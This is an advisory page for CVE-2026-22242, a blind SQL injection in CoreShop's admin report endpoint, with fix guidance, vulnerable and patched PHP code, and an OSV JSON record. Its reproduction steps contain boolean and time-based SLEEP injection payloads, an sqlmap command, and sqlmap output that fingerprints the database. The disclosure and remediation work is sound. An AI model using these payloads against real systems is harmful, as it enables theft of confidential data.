CVE-2026-22242: Coreshop/core shop SQL Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-ch7p-mpv4-4vg4
CVSS 4.9
CWE-89 CWE-564
Published
Advisory Summary

CVE-2026-22242 is a MODERATE (CVSS 4.9) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Coreshop/core shop libraries in the Packagist ecosystem. The issue involves coreshop vulnerable to sql injection via admin reports. Remediation is available by upgrading affected packages to version 4.1.8.

CVE-2026-22242 at a Glance

CVE Identifier CVE-2026-22242
GHSA Identifier GHSA-ch7p-mpv4-4vg4
Severity MODERATE
CVSS v3.1 Base Score 4.9
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Coreshop/core shop
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-22242

To remediate this vulnerability, upgrade all affected Coreshop/core shop dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

coreshop/core-shop fixed: 4.1.8
Upgrade coreshop/core-shop to 4.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for coreshop/core-shop

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-22242, inspect your project dependencies for Coreshop/core shop:

inspect dependencies for coreshop/core-shop

Analyze the terminal output to locate any version of Coreshop/core shop in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Coreshop/core shop, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Affected Version(s) - CoreShop 4.1.2 Demo (tested) [Demo | CoreShop](https://docs.coreshop.com/CoreShop/Getting_Started/Demo/index.html) - Earlier versions may also be affected if the same code path exists ### Summary A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible. ### Details The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization. An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database. ### Impact **Vulnerability Type:** Blind SQL Injection **Impact:** Confidentiality only An attacker can: - Enumerate database schema - Extract all data accessible to the application’s database user **CVSS v3.1 (Base Score: 4.9 – Medium)** ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N ``` ### Steps to Reproduce: <img width="1010" height="372" alt="1" src="https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a" /> 1. **Send a Normal Request:** - Request the report endpoint with a valid `store` value (e.g. `store=1`) and observe that data is returned. <img width="1259" height="725" alt="2" src="https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8" /> 2. **Inject a Boolean TRUE Condition:** - Modify the parameter to `store=1 AND 1=1`. - The response returns the same data as the normal request. <img width="1269" height="725" alt="3" src="https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade" /> 3. **Inject a Boolean FALSE Condition:** - Modify the parameter to `store=1 AND 2=1`. - The response returns an empty dataset. <img width="1259" height="536" alt="4" src="https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7" /> 4. **Confirm Injection Behavior:** - The difference between TRUE and FALSE conditions confirms that the `store` parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection. 5. **Automated Confirmation Using sqlmap:** - The vulnerable request was tested using `sqlmap` with the `store` parameter. - sqlmap successfully confirmed the parameter as **boolean-based and time-based blind SQL injectable**. - The tool was able to fingerprint the backend environment, including: - Database Management System (DBMS) - Database hostname - PHP version - Available database names - This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure. <img width="1115" height="628" alt="5" src="https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff" /> ```php C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store --- Parameter: store (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50 --- web application technology: PHP 8.3.16 back-end DBMS: MySQL >= 5.0.12 hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w' available databases [3]: [*] app [*] information_schema [*] performance_schema ``` ### Solution To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The `store` parameter is expected to represent a numeric store identifier and should therefore be handled safely. Two possible remediation approaches are recommended: 1. **Strict Type Enforcement (Minimal Fix)** If the `store` parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. `(int) $storeId`). This prevents injection by ensuring that only numeric values are used in the query. 2. **Prepared Statements (Best Practice)** Alternatively, and preferably, the `store` parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices. Applying either approach would prevent attackers from injecting SQL logic through the `store` parameter. ### Parameter 1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&**store=1**&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50 ### Line of Code CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php **Line 64 :** ```php $storeId =$parameterBag->get('store',null); ``` The `store` parameter is retrieved directly from the HTTP request via `ParameterBag`. This value originates from user-controlled input and is not validated or type-cast at this point. **Line 77 :** ```php if (null ===$storeId) { return []; } ``` This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer). **Line 81 :** ```php $store =$this->storeRepository->find($storeId); ``` The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context. **Line 107 :** ```php WHERE orders.store =$storeId AND orders.orderState ='$orderCompleteState' AND orders.orderDate > ? AND orders.orderDate < ? AND saleState='" . OrderSaleStates::STATE_ORDER . "' ``` At this point, the `$storeId` value is **directly concatenated into the SQL query string**. Unlike other parameters in the query (`orderDate`), this value is **not bound as a prepared statement parameter**. ### Example Fixed Code ### Option 1: Strict Type Enforcement (Minimal Fix) If the `store` parameter is intended to be numeric only, enforce integer casting before using it in the query. ```php $storeId = (int)$parameterBag->get('store',0); if ($storeId <=0) { return []; } $sqlQuery = " SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total FROM object_query_$classId AS orders WHERE orders.store =$storeId AND orders.orderState = '$orderCompleteState' AND orders.orderDate > ? AND orders.orderDate < ? AND saleState = '" .OrderSaleStates::STATE_ORDER . "' GROUP BY " .$groupSelector; ``` This ensures that only numeric values are used and prevents SQL logic injection. ### Option 2: Prepared Statements (Recommended Fix) Use parameter binding for **all user-influenced values**, including `store`. ```php $sqlQuery = " SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total FROM object_query_$classId AS orders WHERE orders.store = ? AND orders.orderState = ? AND orders.orderDate > ? AND orders.orderDate < ? AND saleState = ? GROUP BY " .$groupSelector; $results =$this->db->fetchAllAssociative( $sqlQuery, [ (int)$storeId, $orderCompleteState, $from->getTimestamp(), $to->getTimestamp(), OrderSaleStates::STATE_ORDER, ] ); ``` This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

CVE-2026-22242 Affected Coreshop/core shop Versions

1 component(s)
Fixed Versions:
4.1.8
Product / Package Ecosystem Affected Versions Fixed Version
coreshop/core-shop
Packagist
< 4.1.8
4.1.8

References

Frequently Asked Questions

What is CVE-2026-22242?
CVE-2026-22242 is a security vulnerability in Coreshop/core shop involving CoreShop Vulnerable to SQL Injection via Admin Reports under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Coreshop/core shop versions are affected?
Affected versions include releases prior to 4.1.8 across affected packages: coreshop/core-shop.
What version fixes CVE-2026-22242?
Upgrading to 4.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is coreshop/core-shop affected?
Yes, coreshop/core-shop is affected in releases prior to 4.1.8. Upgrade your dependency to 4.1.8 or later.
What is the CVSS score of CVE-2026-22242?
CVE-2026-22242 has a CVSS v3.1 base score of 4.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-22242?
CVE-2026-22242 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-22242?
Run the dependency tree command: 'inspect dependencies for coreshop/core-shop'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ch7p-mpv4-4vg4",
  "modified" : "2026-01-12T20:06:21Z",
  "published" : "2026-01-07T19:29:50Z",
  "aliases" : [ "CVE-2026-22242" ],
  "summary" : "CoreShop Vulnerable to SQL Injection via Admin Reports",
  "details" : "### Affected Version(s)\n\n- CoreShop 4.1.2 Demo (tested) [Demo | CoreShop](https://docs.coreshop.com/CoreShop/Getting_Started/Demo/index.html)\n- Earlier versions may also be affected if the same code path exists\n\n### Summary\n\nA blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques.\nThe database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.\n\n### Details\n\nThe vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.\n\nAn attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.\n\n\n### Impact\n\n**Vulnerability Type:** Blind SQL Injection\n\n**Impact:** Confidentiality only\n\nAn attacker can:\n\n- Enumerate database schema\n- Extract all data accessible to the application’s database user\n\n**CVSS v3.1 (Base Score: 4.9 – Medium)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\n```\n\n### Steps to Reproduce:\n\n<img width=\"1010\" height=\"372\" alt=\"1\" src=\"https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a\" />\n\n1. **Send a Normal Request:**\n    - Request the report endpoint with a valid `store` value (e.g. `store=1`) and observe that data is returned.\n    \n<img width=\"1259\" height=\"725\" alt=\"2\" src=\"https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8\" />\n\n2. **Inject a Boolean TRUE Condition:**\n    - Modify the parameter to `store=1 AND 1=1`.\n    - The response returns the same data as the normal request.\n    \n<img width=\"1269\" height=\"725\" alt=\"3\" src=\"https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade\" />\n\n3. **Inject a Boolean FALSE Condition:**\n    - Modify the parameter to `store=1 AND 2=1`.\n    - The response returns an empty dataset.\n    \n<img width=\"1259\" height=\"536\" alt=\"4\" src=\"https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7\" />\n\n4. **Confirm Injection Behavior:**\n    - The difference between TRUE and FALSE conditions confirms that the `store` parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.\n    \n5. **Automated Confirmation Using sqlmap:**\n    - The vulnerable request was tested using `sqlmap` with the `store` parameter.\n    - sqlmap successfully confirmed the parameter as **boolean-based and time-based blind SQL injectable**.\n    - The tool was able to fingerprint the backend environment, including:\n        - Database Management System (DBMS)\n        - Database hostname\n        - PHP version\n        - Available database names\n    - This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.\n\n<img width=\"1115\" height=\"628\" alt=\"5\" src=\"https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff\" />\n\n```php\nC:\\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store\n---\nParameter: store (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50\n---\nweb application technology: PHP 8.3.16\nback-end DBMS: MySQL >= 5.0.12\nhostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'\navailable databases [3]:\n[*] app\n[*] information_schema\n[*] performance_schema\n```\n\n\n### Solution\n\nTo mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The `store` parameter is expected to represent a numeric store identifier and should therefore be handled safely.\n\nTwo possible remediation approaches are recommended:\n\n1. **Strict Type Enforcement (Minimal Fix)**\n    \n    If the `store` parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. `(int) $storeId`). This prevents injection by ensuring that only numeric values are used in the query.\n    \n2. **Prepared Statements (Best Practice)**\n    \n    Alternatively, and preferably, the `store` parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.\n    \n\nApplying either approach would prevent attackers from injecting SQL logic through the `store` parameter.\n\n### Parameter\n\n1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&**store=1**&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50\n\n### Line of Code\n\nCoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php\n\n**Line 64 :**\n\n```php\n$storeId =$parameterBag->get('store',null);\n```\n\nThe `store` parameter is retrieved directly from the HTTP request via `ParameterBag`. This value originates from user-controlled input and is not validated or type-cast at this point.\n\n**Line 77 :**\n\n```php\nif (null ===$storeId) {\nreturn [];\n}\n```\n\nThis check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).\n\n**Line 81 :**\n\n```php\n$store =$this->storeRepository->find($storeId);\n```\n\nThe user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.\n\n**Line 107 :**\n\n```php\nWHERE orders.store =$storeId\n  AND orders.orderState ='$orderCompleteState'\n  AND orders.orderDate > ?\n  AND orders.orderDate < ?\n  AND saleState='\" . OrderSaleStates::STATE_ORDER . \"'\n```\n\nAt this point, the `$storeId` value is **directly concatenated into the SQL query string**. Unlike other parameters in the query (`orderDate`), this value is **not bound as a prepared statement parameter**.\n\n### Example Fixed Code\n\n### Option 1: Strict Type Enforcement (Minimal Fix)\n\nIf the `store` parameter is intended to be numeric only, enforce integer casting before using it in the query.\n\n```php\n$storeId = (int)$parameterBag->get('store',0);\n\nif ($storeId <=0) {\nreturn [];\n}\n\n$sqlQuery = \"\n    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n    FROM object_query_$classId AS orders\n    WHERE orders.store =$storeId\n      AND orders.orderState = '$orderCompleteState'\n      AND orders.orderDate > ?\n      AND orders.orderDate < ?\n      AND saleState = '\" .OrderSaleStates::STATE_ORDER . \"'\n    GROUP BY \" .$groupSelector;\n```\n\nThis ensures that only numeric values are used and prevents SQL logic injection.\n\n\n### Option 2: Prepared Statements (Recommended Fix)\n\nUse parameter binding for **all user-influenced values**, including `store`.\n\n```php\n$sqlQuery = \"\n    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n    FROM object_query_$classId AS orders\n    WHERE orders.store = ?\n      AND orders.orderState = ?\n      AND orders.orderDate > ?\n      AND orders.orderDate < ?\n      AND saleState = ?\n    GROUP BY \" .$groupSelector;\n\n$results =$this->db->fetchAllAssociative(\n$sqlQuery,\n    [\n        (int)$storeId,\n$orderCompleteState,\n$from->getTimestamp(),\n$to->getTimestamp(),\nOrderSaleStates::STATE_ORDER,\n    ]\n);\n```\n\nThis approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "coreshop/core-shop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coreshop/CoreShop/security/advisories/GHSA-ch7p-mpv4-4vg4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22242"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coreshop/CoreShop/commit/59e84fec59d113952b6d28a9b30c6317f9e6e5dd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coreshop/CoreShop"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-564", "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-07T19:29:50Z",
    "nvd_published_at" : "2026-01-08T10:15:56Z"
  }
}